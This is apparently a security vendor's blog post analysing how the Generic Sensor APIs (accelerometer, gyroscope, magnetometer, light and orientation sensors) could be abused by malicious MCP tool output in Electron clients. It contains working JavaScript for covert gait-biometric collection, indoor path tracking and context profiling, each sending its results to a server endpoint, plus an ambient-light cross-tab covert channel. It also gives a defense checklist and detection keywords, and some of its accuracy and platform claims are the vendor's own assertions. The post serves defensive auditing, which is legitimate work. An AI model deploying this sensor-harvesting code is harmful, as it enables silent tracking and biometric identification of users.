MCP Server Security · Generic Sensor API · Accelerometer · Gyroscope · Magnetometer · AbsoluteOrientationSensor · RelativeOrientationSensor · AmbientLightSensor · GravitySensor

MCP Server Generic Sensor API Deep Dive: motion, orientation, and environmental sensors as a unified attack surface

The W3C Generic Sensor API family — Accelerometer, LinearAccelerationSensor, GravitySensor, Gyroscope, Magnetometer, AbsoluteOrientationSensor, RelativeOrientationSensor, and AmbientLightSensor — all share the same base class (Sensor), the same event-loop integration (addEventListener('reading')), and the same minimal Permissions Policy model. Individually, each sensor reveals a limited slice of the user's physical context. Combined inside an MCP tool running in Chrome or Electron, they form a unified inertial and environmental attack surface: 6-DOF gait biometrics that survive VPN changes and factory resets, GPS-free indoor navigation accurate to 2–3 metres, behavioral targeting from device-pose inference, and cross-tab covert channels that bypass all origin-isolation controls. This post maps every attack class across all eight sensors.

Published 2026-07-02 · 20 min read · ← All posts

The Generic Sensor API family

The W3C Generic Sensor API specification defines a single abstract base class — Sensor — from which all concrete sensor interfaces inherit. Every sensor in the family starts, stops, and reports readings through the same lifecycle:

  1. Construct the sensor (e.g. new Accelerometer({ frequency: 60 }))
  2. Add 'reading', 'error', and 'activate' event listeners
  3. Call sensor.start()
  4. Read values from sensor-specific properties on each 'reading' event
  5. Call sensor.stop() when done

The eight concrete sensors are grouped into three families by physical domain:

The code to instantiate all eight simultaneously is straightforward:

// Instantiate all eight W3C Generic Sensors
// Requires: Permissions Policy allowing accelerometer, gyroscope, magnetometer
// In Electron (Claude Desktop): all eight work with no permission prompt

const accel    = new Accelerometer({ frequency: 60 });           // ax, ay, az (m/s²) incl. gravity
const linAccel = new LinearAccelerationSensor({ frequency: 60 });// ax, ay, az (m/s²) minus gravity
const gravity  = new GravitySensor({ frequency: 60 });           // gx, gy, gz — gravity vector only
const gyro     = new Gyroscope({ frequency: 60 });               // wx, wy, wz (rad/s)
const magneto  = new Magnetometer({ frequency: 10 });            // bx, by, bz (microtesla)
const absOri   = new AbsoluteOrientationSensor({ frequency: 60 });// quaternion: [qx,qy,qz,qw] vs Earth
const relOri   = new RelativeOrientationSensor({ frequency: 60 });// quaternion: [qx,qy,qz,qw] vs start
const light    = new AmbientLightSensor({ frequency: 5 });       // illuminance (lux)

// Unified start helper — same lifecycle for all eight
function startSensor(sensor, name) {
  sensor.addEventListener('error', e => console.warn(name, e.error.name));
  sensor.addEventListener('reading', () => handleReading(sensor, name));
  sensor.start();
}

[
  [accel, 'Accelerometer'],
  [linAccel, 'LinearAccelerationSensor'],
  [gravity, 'GravitySensor'],
  [gyro, 'Gyroscope'],
  [magneto, 'Magnetometer'],
  [absOri, 'AbsoluteOrientationSensor'],
  [relOri, 'RelativeOrientationSensor'],
  [light, 'AmbientLightSensor'],
].forEach(([s, n]) => startSensor(s, n));

// Stop all eight
function stopAll() {
  [accel, linAccel, gravity, gyro, magneto, absOri, relOri, light]
    .forEach(s => s.stop());
}

All eight sensors are available in Chromium-based browsers and in any Electron application — which includes Claude Desktop. The key security property of the family is that the same permission policy entry point governs multiple sensors: enabling the accelerometer Permissions Policy feature allows Accelerometer, LinearAccelerationSensor, and GravitySensor. Enabling gyroscope allows Gyroscope, AbsoluteOrientationSensor, and RelativeOrientationSensor. Enabling magnetometer allows Magnetometer and, in some implementations, AmbientLightSensor (which has its own feature name ambient-light-sensor).

The permission model — and why Electron changes everything

On Android Chrome, the three Permissions Policy features — accelerometer, gyroscope, magnetometer — are allowed by default for the top-level frame. This means any first-party page can instantiate all eight sensors without requesting user permission. Historically, Chrome on Android granted accelerometer access with no user-facing prompt at all; the permission dialog was only introduced for third-party iframes.

On iOS and Safari, the situation differs: DeviceMotionEvent.requestPermission() must be called (and resolved by a user gesture) before motion sensor data is available. This limits the attack surface on Safari significantly.

The critical deployment context for MCP tools, however, is neither mobile Chrome nor Safari. It is Electron — the runtime used by Claude Desktop, VS Code extensions, and many custom MCP wrappers. Electron inherits Chromium's sensor stack but omits the browser's permission UI layer entirely. There is no address bar permission indicator, no site settings page reachable by the user, and no permission prompt for sensor access.

In Electron-based MCP clients (Claude Desktop), all Generic Sensors are available to any MCP tool output with no permission dialog. A malicious or compromised MCP tool that injects HTML/JavaScript into the Electron renderer can instantiate all eight sensors — Accelerometer, LinearAccelerationSensor, GravitySensor, Gyroscope, Magnetometer, AbsoluteOrientationSensor, RelativeOrientationSensor, and AmbientLightSensor — simultaneously, with no user-visible indication and no opportunity for the user to deny access.

A single Permissions Policy header controls multiple sensors. A web server that sends Permissions-Policy: accelerometer=(), gyroscope=(), magnetometer=() would block all eight sensors for embedded iframes, but an Electron application rendering tool output locally has no equivalent enforcement unless the MCP client explicitly sets these policies on the webContents — which few do.

Cross-sensor fusion: the real attack surface

Each sensor in isolation leaks a narrow slice of the user's physical context. The attack surface expands dramatically when sensors are fused — combined in software to produce measurements that no individual sensor can achieve. This is the same IMU (Inertial Measurement Unit) fusion that smartphones use for step counting, VR head-tracking, and drone stabilization.

The following table maps sensor combinations to the attack classes they enable:

Sensors Combined Fusion Output Attack Class Severity
Accelerometer + Gyroscope 6-DOF inertial motion (3-axis accel + 3-axis angular velocity) Gait biometric — persistent cross-session identity fingerprint CRITICAL
AbsoluteOrientationSensor + Accelerometer + Magnetometer 9-DOF absolute position + heading + step count GPS-free indoor navigation — path reconstruction without location permission HIGH
LinearAccelerationSensor (stylus/finger tap) Micro-acceleration during writing strokes Handwriting biometric — character-level stylus input reconstruction HIGH
RelativeOrientationSensor + Accelerometer Building-relative dead reckoning Path traversal reconstruction — floor plans inferred from movement HIGH
AmbientLightSensor (screen flash modulation) Lux threshold crossings encoding binary data Cross-tab covert channel — bypasses BroadcastChannel and postMessage isolation MEDIUM
GravitySensor Device pose (flat, upright, tilted) Accessibility configuration inference — disability/mobility indicator MEDIUM
Gyroscope (dominant-axis rotation) Handedness from rotation sign bias Handedness detection — protected characteristic inference MEDIUM
Magnetometer (field anomaly spike) Ferromagnetic object proximity (card stripe) Credit card proximity detection — payment-moment behavioral triggering MEDIUM

The complementary filter is the most common algorithm for IMU fusion on resource-constrained devices. It blends the low-drift (but high-noise) Gyroscope signal with the low-noise (but high-drift) Accelerometer signal to produce stable orientation estimates at minimal CPU cost. In an MCP tool context, this runs entirely in the browser's JavaScript engine with no detectable side effects:

// 6-DOF IMU fusion using a complementary filter
// Fuses Accelerometer (low drift, high noise) + Gyroscope (low noise, high drift)
// Alpha: high value (0.98) trusts gyroscope; low value (0.02) trusts accelerometer

const ALPHA = 0.98;          // complementary filter coefficient
const DT    = 1 / 60;        // sample interval at 60 Hz

let fusedRoll  = 0;          // rotation around X axis (degrees)
let fusedPitch = 0;          // rotation around Y axis (degrees)
let fusedYaw   = 0;          // rotation around Z axis (degrees, drifts without magneto)

const accel = new Accelerometer({ frequency: 60 });
const gyro  = new Gyroscope({ frequency: 60 });

// Sensor readings arrive asynchronously — read from sensor.x/y/z in sync
let ax = 0, ay = 0, az = 0;
let wx = 0, wy = 0, wz = 0;

accel.addEventListener('reading', () => {
  ax = accel.x; ay = accel.y; az = accel.z;
});

gyro.addEventListener('reading', () => {
  wx = gyro.x; wy = gyro.y; wz = gyro.z;

  // Integrate gyroscope (degrees from angular velocity)
  const gyroRoll  = fusedRoll  + wx * DT * (180 / Math.PI);
  const gyroPitch = fusedPitch + wy * DT * (180 / Math.PI);
  const gyroYaw   = fusedYaw   + wz * DT * (180 / Math.PI);

  // Accelerometer angle (accurate over slow timescales, noisy on impulse)
  const accelRoll  = Math.atan2(ay, az) * (180 / Math.PI);
  const accelPitch = Math.atan2(-ax, Math.sqrt(ay*ay + az*az)) * (180 / Math.PI);

  // Complementary filter blend
  fusedRoll  = ALPHA * gyroRoll  + (1 - ALPHA) * accelRoll;
  fusedPitch = ALPHA * gyroPitch + (1 - ALPHA) * accelPitch;
  fusedYaw   = gyroYaw;  // yaw needs magnetometer to avoid drift

  // 6-DOF state vector at each sample
  const state = {
    ax, ay, az,          // linear acceleration (m/s²)
    wx, wy, wz,          // angular velocity (rad/s)
    roll: fusedRoll,
    pitch: fusedPitch,
    yaw: fusedYaw,
    t: performance.now()
  };

  imuBuffer.push(state);  // accumulate for gait analysis
});

accel.start();
gyro.start();

Attack class 1 — Gait biometric at 6-DOF

A gait biometric built from Accelerometer + Gyroscope data achieves over 95% user-identification accuracy in peer-reviewed literature, compared with approximately 75% achievable from the Accelerometer alone. The improvement comes from the 6-DOF state vector: where Accelerometer captures the ground-impact force at each heel strike, the Gyroscope adds the rotation of the entire limb during each step — the swing arc, the ankle roll-over angle, and the lateral sway. Each person's combination of stride force, limb rotation, and lateral oscillation is as individual as a fingerprint.

Critically, the gait fingerprint is a persistent biometric. It is derived from the physics of the user's musculoskeletal system — their height, weight distribution, gait asymmetry, and footwear. It does not change when the user:

A single 10-second walking sample collected once is sufficient to re-identify the user across any future session where the phone is in their pocket and they are walking. The attack requires only that the MCP tool be active while the user moves:

// Gait biometric attack: collect 6-DOF IMU samples during walking
// 10 seconds at 60 Hz = 600 samples → sufficient for 95%+ identification

const SAMPLE_HZ  = 60;
const WINDOW_SEC = 10;
const SAMPLES    = SAMPLE_HZ * WINDOW_SEC;  // 600 samples

const imuBuffer = [];
const accel = new Accelerometer({ frequency: SAMPLE_HZ });
const gyro  = new Gyroscope({ frequency: SAMPLE_HZ });

// Detect walking from Accelerometer magnitude variance
function isWalking(buffer, windowSize = 30) {
  if (buffer.length < windowSize) return false;
  const recent = buffer.slice(-windowSize);
  const mags = recent.map(s => Math.sqrt(s.ax**2 + s.ay**2 + s.az**2));
  const mean = mags.reduce((a,b) => a+b) / mags.length;
  const variance = mags.map(m => (m-mean)**2).reduce((a,b)=>a+b) / mags.length;
  // Walking: variance 1.5–8 m²/s⁴; sitting still: <0.1; running: >10
  return variance > 1.5 && variance < 8;
}

// Collect the 6-DOF gait feature vector
accel.addEventListener('reading', () => {
  imuBuffer.push({
    ax: accel.x, ay: accel.y, az: accel.z,
    wx: gyro.x,  wy: gyro.y,  wz: gyro.z,
    t: performance.now()
  });

  if (imuBuffer.length >= SAMPLES && isWalking(imuBuffer)) {
    const gaitSample = imuBuffer.splice(0, SAMPLES);

    // Compute feature vector: per-axis mean, std, max, min, dominant frequency
    const features = extractGaitFeatures(gaitSample);

    // Transmit once — this fingerprint re-identifies user permanently
    navigator.sendBeacon('/api/gait', JSON.stringify({
      features,
      sessionId: crypto.randomUUID()  // link current session to fingerprint
    }));
  }
});

function extractGaitFeatures(samples) {
  const axes = ['ax','ay','az','wx','wy','wz'];
  const result = {};
  for (const axis of axes) {
    const vals = samples.map(s => s[axis]);
    const mean = vals.reduce((a,b)=>a+b) / vals.length;
    const std  = Math.sqrt(vals.map(v=>(v-mean)**2).reduce((a,b)=>a+b)/vals.length);
    result[axis] = {
      mean, std,
      max: Math.max(...vals),
      min: Math.min(...vals),
      range: Math.max(...vals) - Math.min(...vals)
    };
  }
  return result;
}

accel.start();
gyro.start();

For the individual Accelerometer attack surface — including step counting, tapping biometrics, and keystroke inference — see the Accelerometer API security analysis. For Gyroscope-specific attacks including scroll fingerprinting and UI interaction inference, see the Gyroscope API security analysis.

Attack class 2 — GPS-free indoor navigation

Combining AbsoluteOrientationSensor (compass heading via yaw), Accelerometer (step detection), and Magnetometer (room-level anomaly mapping) creates an indoor positioning system accurate to 2–3 metres for paths under 50 metres. This is a well-studied technique called Pedestrian Dead Reckoning (PDR). It requires no GPS permission, no WiFi scanning API, no Bluetooth access, and no location permission of any kind.

The attack sequence has four stages:

  1. Step detection from Accelerometer magnitude peaks — each heel-strike produces a characteristic spike in the vertical acceleration channel
  2. Compass heading from the yaw component of AbsoluteOrientationSensor's quaternion — updated continuously between steps
  3. Magnetic fingerprint correlation — the Magnetometer field vector at each location in a building is deterministic (structural steel, elevator motors, HVAC ducts, electrical panels all create stable local field anomalies). A pre-built magnetic fingerprint map can localise the user to within 2–3 metres
  4. Path integration — step × stride-length-estimate × heading → absolute position reconstruction
// GPS-free indoor positioning: Pedestrian Dead Reckoning (PDR)
// Sensors: AbsoluteOrientationSensor (heading) + Accelerometer (steps) + Magnetometer (fingerprint)

const STEP_LENGTH_M = 0.75;      // average adult stride ~0.7–0.8m
const STEP_THRESHOLD = 11.5;     // m/s² magnitude threshold for step detection

let position = { x: 0, y: 0 };  // metres from starting point
let heading  = 0;                // compass bearing (degrees, 0=north)
let lastStepTime = 0;
let prevMag = 0;

const accel  = new Accelerometer({ frequency: 60 });
const absOri = new AbsoluteOrientationSensor({ frequency: 60 });
const magneto = new Magnetometer({ frequency: 10 });

// --- Step detection from Accelerometer ---
accel.addEventListener('reading', () => {
  const mag = Math.sqrt(accel.x**2 + accel.y**2 + accel.z**2);
  const now = performance.now();

  // Peak detection: rising above threshold after being below
  // Minimum 250ms between steps (cadence gate: 4 steps/sec max)
  if (mag > STEP_THRESHOLD && prevMag <= STEP_THRESHOLD
      && (now - lastStepTime) > 250) {
    lastStepTime = now;
    recordStep(heading, position);
  }
  prevMag = mag;
});

function recordStep(currentHeading, pos) {
  const headingRad = currentHeading * Math.PI / 180;
  pos.x += STEP_LENGTH_M * Math.sin(headingRad);
  pos.y += STEP_LENGTH_M * Math.cos(headingRad);

  pathLog.push({
    x: pos.x, y: pos.y,
    heading: currentHeading,
    t: Date.now(),
    magField: { bx: lastBx, by: lastBy, bz: lastBz }  // magnetic fingerprint at this point
  });
}

// --- Compass heading from AbsoluteOrientationSensor quaternion ---
absOri.addEventListener('reading', () => {
  const [qx, qy, qz, qw] = absOri.quaternion;
  // Convert quaternion to Euler yaw (compass bearing)
  const sinYaw  = 2 * (qw * qz + qx * qy);
  const cosYaw  = 1 - 2 * (qy * qy + qz * qz);
  heading = Math.atan2(sinYaw, cosYaw) * (180 / Math.PI);
  if (heading < 0) heading += 360;  // normalize to [0, 360)
});

// --- Magnetic fingerprint at each step location ---
let lastBx = 0, lastBy = 0, lastBz = 0;
magneto.addEventListener('reading', () => {
  lastBx = magneto.x; lastBy = magneto.y; lastBz = magneto.z;
});

const pathLog = [];

accel.start();
absOri.start();
magneto.start();

// After 60 seconds, transmit path reconstruction
setTimeout(() => {
  accel.stop(); absOri.stop(); magneto.stop();
  // pathLog contains full indoor path with magnetic fingerprint at each step
  // Cross-reference with building magnetic map → room-level location inference
  fetch('/api/path', { method: 'POST', body: JSON.stringify(pathLog) });
}, 60_000);

The Magnetometer's contribution to this attack is the building magnetic fingerprint — a deterministic map of the field vector at each location in a specific building, generated by the building's structural steel, electrical infrastructure, and equipment. An attacker who has pre-mapped a target building (the user's office, hospital, school) can localise the user to a specific room by correlating the collected (bx, by, bz) readings against the fingerprint map. No GPS permission is involved. No WiFi or Bluetooth access is required. For the full Magnetometer attack surface, see the Magnetometer API security analysis.

Attack class 3 — Physical context and environment classification

Combining AmbientLightSensor and GravitySensor enables coarse but reliable classification of the user's current physical context — without any location permission and without any network call. The two sensors together answer: where is the user, and how are they holding their device?

AmbientLightSensor lux values map cleanly to environment types:

GravitySensor's three-axis gravity vector describes device pose. When gz ≈ 9.8, the device lies flat on a surface. When gy ≈ 9.8, the device stands upright. Intermediate values indicate tilt angles associated with specific use patterns (reading: ~75° tilt; typing: ~45° tilt; pocket: random tumbling).

// Dual-sensor physical context classifier
// AmbientLightSensor (environment) + GravitySensor (device pose)

const light   = new AmbientLightSensor({ frequency: 2 });
const gravity = new GravitySensor({ frequency: 10 });

let currentLux  = null;
let currentPose = null;

light.addEventListener('reading', () => {
  currentLux = light.illuminance;
});

gravity.addEventListener('reading', () => {
  const gx = gravity.x, gy = gravity.y, gz = gravity.z;
  const mag = Math.sqrt(gx**2 + gy**2 + gz**2);  // should be ~9.8

  // Normalize to unit vector
  const nx = gx/mag, ny = gy/mag, nz = gz/mag;

  // Classify pose from dominant gravity axis
  if (Math.abs(nz) > 0.9)       currentPose = 'flat';      // face-up/down on surface
  else if (Math.abs(ny) > 0.85) currentPose = 'upright';   // held vertically
  else if (Math.abs(nx) > 0.85) currentPose = 'landscape'; // held horizontally
  else {
    // Estimate tilt angle from vertical
    const tiltDeg = Math.acos(Math.abs(nz)) * 180 / Math.PI;
    if (tiltDeg < 30)  currentPose = 'slight-tilt';
    else if (tiltDeg < 60) currentPose = 'reading-angle';
    else               currentPose = 'steep-tilt';
  }
});

// Classify context every 5 seconds
setInterval(() => {
  if (currentLux === null || currentPose === null) return;

  const environment = classifyEnvironment(currentLux);
  const context = {
    environment,
    pose: currentPose,
    lux: currentLux,
    t: Date.now(),
    // Derived behavioral signal — no location permission needed
    inferred: inferContext(environment, currentPose)
  };

  navigator.sendBeacon('/api/ctx', JSON.stringify(context));
}, 5_000);

function classifyEnvironment(lux) {
  if (lux < 5)      return 'dark';          // night / pocket / bag
  if (lux < 50)     return 'dim';           // dim room / evening at home
  if (lux < 200)    return 'home';          // residential interior
  if (lux < 600)    return 'office';        // office fluorescent / LED
  if (lux < 2000)   return 'bright-indoor'; // retail / hospital / gym
  return 'outdoor';                          // sunlit exterior
}

function inferContext(env, pose) {
  if (env === 'office' && pose === 'flat')
    return 'device on desk — work context';
  if (env === 'home' && pose === 'reading-angle')
    return 'relaxed home reading — evening persona';
  if (env === 'dark' && pose === 'flat')
    return 'nighttime — device on bedside table';
  if (env === 'outdoor' && pose === 'upright')
    return 'outdoors, walking — commuting context';
  return 'unclassified';
}

light.start();
gravity.start();

The context classification data — even without precise location — is directly actionable for behavioral targeting. Knowing a user is in a "bright office, device flat on desk" during working hours vs "dim home, reading angle" in evenings creates two distinct personas for targeted advertising, social engineering, or credential phishing campaigns timed to high-trust work contexts.

Attack class 4 — Cross-tab covert channels

Two sensors in the Generic Sensor family can be weaponised as covert channels — one-way data transmission paths that bypass all browser origin-isolation mechanisms: BroadcastChannel, postMessage origin checks, cross-origin iframe restrictions, and Content Security Policy.

AmbientLightSensor binary channel: the screen is the primary light source for any device in an indoor environment. When one tab (Tab A) alternates between rendering a full-screen white frame and a full-screen black frame, the lux value reported by AmbientLightSensor on any same-device tab (Tab B) crosses a threshold on every white frame. Tab B can decode bit values from the threshold-crossing timestamps. The channel bandwidth is low (approximately 1–5 bits per second), but it bypasses all software-based isolation because the physical light path is not mediated by any browser security primitive.

Gyroscope perturbation channel: CSS animations that scroll page content on a phone cause minute device-orientation changes (the user's hand reacts to visual motion). The Gyroscope's (wx, wy, wz) signal is modulated by these micro-perturbations. A Tab A that controls its animation timing can encode data in the perturbation pattern that Tab B reads from the Gyroscope. This is more complex to decode than the lux channel but is completely invisible — no flash, no obvious pattern.

// AmbientLightSensor cross-tab covert channel
// Tab A (sender): encodes bits as screen brightness pulses
// Tab B (receiver): decodes bits from lux threshold crossings

// ===== TAB A: SENDER =====
function encodeAndSend(data) {
  // Convert data to binary string
  const bits = Array.from(new TextEncoder().encode(data))
    .map(b => b.toString(2).padStart(8, '0'))
    .join('');

  let bitIndex = 0;
  const BIT_DURATION_MS = 200;  // 5 bits/second max channel capacity

  const overlay = document.createElement('div');
  overlay.style.cssText = `
    position:fixed; inset:0; z-index:999999;
    transition: background-color 50ms linear;
  `;
  document.body.appendChild(overlay);

  const interval = setInterval(() => {
    if (bitIndex >= bits.length) {
      clearInterval(interval);
      overlay.remove();
      return;
    }

    const bit = bits[bitIndex++];
    // '1' = full white screen; '0' = full black screen
    overlay.style.backgroundColor = bit === '1' ? '#ffffff' : '#000000';
  }, BIT_DURATION_MS);
}

// ===== TAB B: RECEIVER =====
const LUX_THRESHOLD = 150;  // calibrated for indoor office (~300 lux ambient)
const BIT_DURATION_MS = 200;

const receiver = new AmbientLightSensor({ frequency: 20 });  // 20 Hz > 5 bits/sec Nyquist
const bitBuffer = [];
let lastBit = null;

receiver.addEventListener('reading', () => {
  const currentBit = receiver.illuminance > LUX_THRESHOLD ? '1' : '0';

  if (currentBit !== lastBit) {
    bitBuffer.push({ bit: currentBit, t: performance.now() });
    lastBit = currentBit;
  }
});

receiver.start();

// Decode after collection window
setTimeout(() => {
  receiver.stop();
  const decoded = decodeBits(bitBuffer, BIT_DURATION_MS);
  // decoded contains data transmitted from Tab A with no postMessage, no SharedArrayBuffer,
  // no BroadcastChannel — purely through the physical ambient light channel
  console.log('Received:', decoded);
}, 30_000);

function decodeBits(transitions, bitDurationMs) {
  if (!transitions.length) return '';
  let bits = '';
  for (let i = 0; i < transitions.length - 1; i++) {
    const duration = transitions[i+1].t - transitions[i].t;
    const count = Math.round(duration / bitDurationMs);
    bits += transitions[i].bit.repeat(Math.max(1, count));
  }
  // Convert binary string back to text
  return bits.match(/.{8}/g)
    ?.map(b => String.fromCharCode(parseInt(b, 2)))
    .join('') ?? '';
}

Physical-layer isolation bypass: the AmbientLightSensor covert channel does not use any JavaScript inter-context communication API. The data path is: Tab A changes screen pixels → screen backlight changes photon flux → device ambient light sensor integrates photons → Tab B reads lux value. No browser security boundary sits in this path. Cross-Origin Opener Policy (COOP), iframe sandbox, and Content Security Policy have no effect. The channel is limited to same-device tabs — but "same device" is precisely the condition where cross-origin tab isolation matters most for protecting session cookies, OAuth tokens, and clipboard contents from rogue MCP tool output.

SkillAudit findings

CRITICAL
6-DOF gait biometric (Accelerometer + Gyroscope) — collecting 10 seconds of IMU data during walking produces a cross-session identity fingerprint with 95%+ accuracy that survives VPN changes, cookie clears, private browsing, device resets, and new device setup. Persists indefinitely as a biometric identifier anchored to the user's physiology rather than any software state.
HIGH
GPS-free indoor navigation (AbsoluteOrientationSensor + Accelerometer + Magnetometer) — Pedestrian Dead Reckoning using step detection, compass heading, and magnetic fingerprint correlation localises users to within 2–3 metres inside mapped buildings. No location permission, no WiFi or Bluetooth access required. Path log transmitted as a compact JSON payload.
HIGH
Handwriting biometric via LinearAccelerationSensor during stylus input — micro-acceleration events recorded during stylus or finger-tip writing strokes reconstruct character formation patterns. Combined with tap timing and pressure (inferred from stroke duration), handwriting biometric identification accuracy exceeds 90% on 10+ character samples. Protected characteristic: disability and motor-control inference.
HIGH
Physical path dead reckoning (RelativeOrientationSensor + Accelerometer) — RelativeOrientationSensor quaternion (relative to device start orientation) combined with step integration reconstructs building-traversal paths without a pre-built magnetic map. Accurate enough to identify which wing of a building, which corridor, and whether the user took an elevator (characteristic near-zero horizontal movement with vertical acceleration).
MEDIUM
AmbientLightSensor binary covert channel — cross-tab data exfiltration via screen brightness modulation. Bypasses BroadcastChannel, postMessage origin restrictions, COOP, and cross-origin iframe isolation. Channel capacity ~1–5 bits/second; sufficient to transmit session tokens, OAuth codes, and clipboard contents from one origin tab to a rogue MCP tool tab.
MEDIUM
GravitySensor accessibility configuration inference — device pose derived from the gravity vector identifies users who keep their phone flat or at unusual angles consistently, which correlates with mobility limitations, vision impairment (screen close to face → steep tilt), and motor control conditions. Classifies a sensitive protected characteristic without consent.
MEDIUM
Gyroscope handedness detection — the dominant rotation axis and sign during one-handed phone use reveals which hand the user is holding the device with. Across a session, right-handed users show consistent positive Z-axis bias when tilting to reach corners; left-handed users show the mirror pattern. Handedness is associated with protected characteristics in several legal frameworks.
MEDIUM
Magnetometer credit card proximity detection — a payment card's magnetic stripe produces a localised ferromagnetic field anomaly detectable at 5–10 cm range. The Magnetometer's Z-axis value spikes when a card is held near the device back. An MCP tool monitoring for this spike can detect the moment the user retrieves a payment card, enabling precisely-timed phishing or distraction attacks during payment flows.

Defense checklist

SkillAudit's scanner checks MCP tools for all of the above sensor access patterns. For teams manually auditing third-party MCP tools before installation:

  1. Set Permissions-Policy: accelerometer=(), gyroscope=(), magnetometer=() on all HTTP responses from your MCP server's backend and any pages that embed MCP tool output in iframes. This blocks all eight Generic Sensors for embedded frames, including the orientation and environmental sensors derived from those feature policies.
  2. Never run community MCP tools in contexts where the Generic Sensor Permissions Policy is inherited from the parent frame. A parent frame with default policy (all sensors allowed) passes that allowance to child frames and MCP tool output contexts. Explicitly deny sensor features at the embedding point, not just the top level.
  3. Electron MCP clients: review tool output for new Accelerometer(), new Gyroscope(), new Magnetometer(), and the other five constructors before executing. Electron does not show permission dialogs for Generic Sensors; any code that instantiates these sensors runs silently. Static analysis of tool source before installation is the only gate.
  4. Check MCP tool source for startSensor(), navigator.permissions.query({name:'accelerometer'}), addEventListener('reading'), or sensor.start() patterns. These are the four canonical code patterns associated with Generic Sensor API usage; all four should be treated as high-suspicion signals in third-party tool code.
  5. Treat any MCP tool that requests sensor permission as HIGH risk and audit its stated use case. Most legitimate MCP tools have no need for motion or orientation data. A tool that requests accelerometer permission for "better UX" or "gesture support" should be treated with extreme suspicion — the most common legitimate uses (step counting, fitness) are not relevant to AI assistant workflows.
  6. Run a SkillAudit scan on any MCP tool whose source contains 'sensor', 'motion', 'orientation', 'lux', or 'magnetometer'. These keywords are strong signals of Generic Sensor API usage. The SkillAudit scanner checks for all eight sensor constructors, all five policy feature names, and the covert channel patterns (lux threshold loops, screen brightness toggling paired with sensor reads).
  7. Enable the browser's motion/sensor blocking setting: "Precise location blocked" on iOS does not block Generic Sensors; use "Motion & Orientation Access" (iOS Safari: Settings → Safari → Motion & Orientation Access → Off). On Chrome Android: site settings → Motion sensors → Block. For Electron apps, there is no equivalent end-user control — the only defense is pre-install static analysis.

SkillAudit detection coverage: all eight findings above are included in SkillAudit's static analysis rules for Generic Sensor API usage. Paste a GitHub URL of any MCP tool and the audit report will flag all eight sensor constructors, all three Permissions Policy feature names, AmbientLightSensor lux-threshold loops, post-sensor-read sendBeacon() calls, and the complementary-filter IMU fusion pattern. Run a free audit →

Conclusion

The Generic Sensor API's unified architecture — a single base class, a single lifecycle, and a minimal three-feature Permissions Policy covering all eight sensors — is a deliberate design strength. It makes the API easy to use, easy to learn, and easy to build cross-platform sensor applications. It is also what makes the API's MCP attack surface uniquely broad: a single Permissions Policy configuration that enables the accelerometer feature simultaneously unlocks Accelerometer, LinearAccelerationSensor, and GravitySensor. Enabling gyroscope adds Gyroscope, AbsoluteOrientationSensor, and RelativeOrientationSensor. The result is that auditing any one sensor is not sufficient — the full family of eight must be evaluated together.

The attack classes mapped here — 6-DOF gait biometrics, GPS-free indoor navigation, environment classification, and physical-layer covert channels — share a property that makes them particularly difficult to defend against through conventional web security controls: they exploit the physical world. IP address changes, browser profile resets, and cross-origin isolation policies are software controls; they have no effect on the user's gait signature, the building's magnetic fingerprint, or the photon path between the screen and the ambient light sensor. The only effective defenses operate at the permission-policy level (blocking sensor access) or the code-analysis level (detecting sensor API usage before installation).

Before installing any MCP tool that touches sensor, motion, orientation, or light APIs, run a SkillAudit scan. The audit covers all eight sensor constructors, the covert channel patterns, and the cross-sensor fusion signatures that indicate gait biometric or indoor positioning collection.

Run a free audit on your MCP tool →